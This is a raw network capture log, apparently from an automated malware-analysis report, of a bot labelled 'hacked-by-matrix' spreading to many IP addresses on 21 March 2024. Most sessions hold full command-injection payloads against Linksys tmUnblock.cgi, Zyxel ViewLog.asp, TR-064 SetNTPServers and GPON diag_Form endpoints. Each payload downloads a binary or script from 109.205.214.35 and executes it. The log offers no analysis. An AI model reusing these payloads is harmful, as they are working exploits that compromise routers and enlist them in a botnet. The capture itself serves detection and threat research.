Mar 21, 2024 05:17:35.565315008 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
405	192.168.2.13	39344	172.65.56.35	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:35.664093018 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
406	192.168.2.13	34412	80.247.226.215	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:35.841173887 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:36.013684034 CET	146	IN	HTTP/1.1 302 Found content-length: 0 location: https://127.0.0.1/cgi-bin/ViewLog.asp cache-control: no-cache connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
407	192.168.2.13	36452	178.239.118.54	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:35.875195980 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:36.136837006 CET	321	IN	HTTP/1.1 405 Not Allowed Server: nginx/1.18.0 Date: Thu, 21 Mar 2024 04:17:35 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.18.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
408	192.168.2.13	34418	80.247.226.215	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:36.205647945 CET	219	IN	HTTP/1.1 400 Bad request content-length: 90 cache-control: no-cache content-type: text/html connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 72 65 71 75 65 73 74 3c 2f 68 31 3e 0a 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 6e 20 69 6e 76 61 6c 69 64 20 72 65 71 75 65 73 74 2e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><body><h1>400 Bad request</h1>Your browser sent an invalid request.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
409	192.168.2.13	40160	213.108.109.227	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:36.449157953 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:36.609903097 CET	133	IN	HTTP/1.1 301 Moved Permanently Content-length: 0 Location: https://127.0.0.1/cgi-bin/ViewLog.asp Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
410	192.168.2.13	60768	200.97.128.67	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:36.471537113 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:36.671271086 CET	1286	IN	HTTP/1.1 404 Not Found Content-Length: 1753 Content-Type: text/html Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Date: Thu, 21 Mar 2024 04:19:18 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e e3 6f 20 e9 20 70 6f 73 73 ed 76 65 6c 20 6c 6f 63 61 6c 69 7a 61 72 20 61 20 70 e1 67 69 6e 61 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0d 0a 3c 53 54 59 4c 45 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 42 4f 44 59 20 7b 20 66 6f 6e 74 3a 20 38 70 74 2f 31 32 70 74 20 76 65 72 64 61 6e 61 20 7d 0d 0a 20 20 48 31 20 7b 20 66 6f 6e 74 3a 20 31 33 70 74 2f 31 35 70 74 20 76 65 72 64 61 6e 61 20 7d 0d 0a 20 20 48 32 20 7b 20 66 6f 6e 74 3a 20 38 70 74 2f 31 32 70 74 20 76 65 72 64 61 6e 61 20 7d 0d 0a 20 20 41 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 72 65 64 20 7d 0d 0a 20 20 41 3a 76 69 73 69 74 65 64 20 7b 20 63 6f 6c 6f 72 3a 20 6d 61 72 6f 6f 6e 20 7d 0d 0a 3c 2f 53 54 59 4c 45 3e 0d 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 3c 54 41 42 4c 45 20 77 69 64 74 68 3d 35 30 30 20 62 6f 72 64 65 72 3d 30 20 63 65 6c 6c 73 70 61 63 69 6e 67 3d 31 30 3e 3c 54 52 3e 3c 54 44 3e 0d 0a 0d 0a 3c 68 31 3e 4e e3 6f 20 e9 20 70 6f 73 73 ed 76 65 6c 20 6c 6f 63 61 6c 69 7a 61 72 20 61 20 70 e1 67 69 6e 61 3c 2f 68 31 3e 0d 0a 41 20 70 e1 67 69 6e 61 20 71 75 65 20 76 6f 63 ea 20 65 73 74 e1 20 70 72 6f 63 75 72 61 6e 64 6f 20 70 6f 64 65 20 74 65 72 20 73 69 64 6f 20 72 65 6d 6f 76 69 64 61 2c 20 6f 20 73 65 75 20 6e 6f 6d 65 20 70 6f 64 65 20 74 65 72 20 73 69 64 6f 20 61 6c 74 65 72 61 64 6f 20 6f 75 20 74 61 6c 76 65 7a 20 65 6c 61 20 6e e3 6f 20 65 73 74 65 6a 61 20 64 69 73 70 6f 6e ed 76 65 6c 20 74 65 6d 70 6f 72 61 72 69 61 6d 65 6e 74 65 2e 0d 0a 3c 68 72 3e 0d 0a 3c 70 3e 54 65 6e 74 65 20 6f 20 73 65 67 75 69 6e 74 65 3a 3c 2f 70 3e 0d 0a 3c 75 6c 3e 0d 0a 3c 6c 69 3e 43 65 72 74 69 66 69 71 75 65 2d 73 65 20 64 65 20 71 75 65 20 6f 20 65 6e 64 65 72 65 e7 6f 20 64 6f 20 73 69 74 65 20 65 78 69 62 69 64 6f 20 6e 61 20 62 61 72 72 61 20 64 65 20 65 6e 64 65 72 65 e7 6f 73 20 64 6f 20 6e 61 76 65 67 61 64 6f 72 20 65 73 74 e1 20 65 73 63 72 69 74 6f 20 65 20 66 6f 72 6d 61 74 61 64 6f 20 63 6f 72 72 65 74 61 6d 65 6e 74 65 2e 3c 2f 6c 69 3e 0d 0a 3c 6c 69 3e 53 65 20 76 6f 63 ea 20 61 63 65 73 73 6f 75 20 65 73 74 61 20 70 e1 67 69 6e 61 20 63 6c 69 63 61 6e 64 6f 20 65 6d 20 75 6d 20 6c 69 6e 6b 2c 20 63 6f 6e 74 61 74 65 20 6f 20 61 64 6d 69 6e 69 73 74 72 61 64 6f 72 20 64 6f 20 73 69 74 65 20 70 61 72 61 20 61 6c 65 72 74 e1 2d 6c 6f 20 64 65 20 71 75 65 20 6f 20 6c 69 6e 6b 20 65 73 74 e1 20 66 6f 72 6d 61 74 61 64 6f 20 69 6e 63 6f 72 72 65 74 61 6d 65 6e 74 65 2e 0d 0a 3c 2f 6c 69 3e 0d 0a 3c 6c 69 3e 43 6c 69 71 75 65 20 6e 6f 20 62 6f 74 e3 6f 20 3c 61 20 68 72 65 66 3d 22 6a 61 76 61 73 63 72 69 70 74 3a 68 69 73 74 6f 72 79 2e 62 61 63 6b 28 31 29 22 3e 56 6f 6c 74 61 72 3c 2f 61 3e 20 65 20 74 65 6e 74 65 20 6f 75 74 72 6f 20 6c 69 6e 6b 2e 3c 2f 6c 69 3e 0d 0a 3c 2f 75 6c 3e 0d 0a 3c 68 32 3e 45 72 72 6f 20 48 54 Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>No possvel localizar a pgina</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=windows-1252"><STYLE type="text/css"> BODY { font: 8pt/12pt verdana } H1 { font: 13pt/15pt verdana } H2 { font: 8pt/12pt verdana } A:link { color: red } A:visited { color: maroon }</STYLE></HEAD><BODY><TABLE width=500 border=0 cellspacing=10><TR><TD><h1>No possvel localizar a pgina</h1>A pgina que voc est procurando pode ter sido removida, o seu nome pode ter sido alterado ou talvez ela no esteja disponvel temporariamente.<hr><p>Tente o seguinte:</p><ul><li>Certifique-se de que o endereo do site exibido na barra de endereos do navegador est escrito e formatado corretamente.</li><li>Se voc acessou esta pgina clicando em um link, contate o administrador do site para alert-lo de que o link est formatado incorretamente.</li><li>Clique no boto <a href="javascript:history.back(1)">Voltar</a> e tente outro link.</li></ul><h2>Erro HT
Mar 21, 2024 05:17:36.671348095 CET	651	IN	Data Raw: 54 50 20 34 30 34 20 2d 20 41 72 71 75 69 76 6f 20 6f 75 20 64 69 72 65 74 f3 72 69 6f 20 6e e3 6f 20 65 6e 63 6f 6e 74 72 61 64 6f 2e 3c 62 72 3e 49 49 53 20 28 53 65 72 76 69 e7 6f 73 20 64 65 20 49 6e 66 6f 72 6d 61 e7 f5 65 73 20 64 61 20 49 Data Ascii: TP 404 - Arquivo ou diretrio no encontrado.<br>IIS (Servios de Informaes da Internet)</h2><hr><p>Informaes tcnicas (para equipe de suporte)</p><ul><li>V para <a href="http://go.microsoft.com/fwlink/?linkid=8180">Servios de su
Mar 21, 2024 05:17:36.671395063 CET	176	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Date: Thu, 21 Mar 2024 04:19:18 GMT Connection: close Content-Length: 35 Data Raw: 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 20 28 49 6e 76 61 6c 69 64 20 56 65 72 62 29 3c 2f 68 31 3e Data Ascii: <h1>Bad Request (Invalid Verb)</h1>

Session ID	Source IP	Source Port	Destination IP	Destination Port
411	192.168.2.13	38374	45.195.118.190	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:36.600730896 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:40.787900925 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:46.931798935 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:58.963861942 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:18:23.028944016 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
412	192.168.2.13	43068	50.39.125.139	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:36.607328892 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
413	192.168.2.13	36254	77.122.181.243	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:36.645700932 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:36.853261948 CET	197	IN	HTTP/1.1 404 Not Found Date: Thu Mar 21 04:17:36 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
414	192.168.2.13	42232	42.130.237.182	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:36.682152033 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
415	192.168.2.13	56952	5.30.246.5	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:36.682174921 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
416	192.168.2.13	58392	212.159.57.157	443

Timestamp	Bytes transferred	Direction	Data
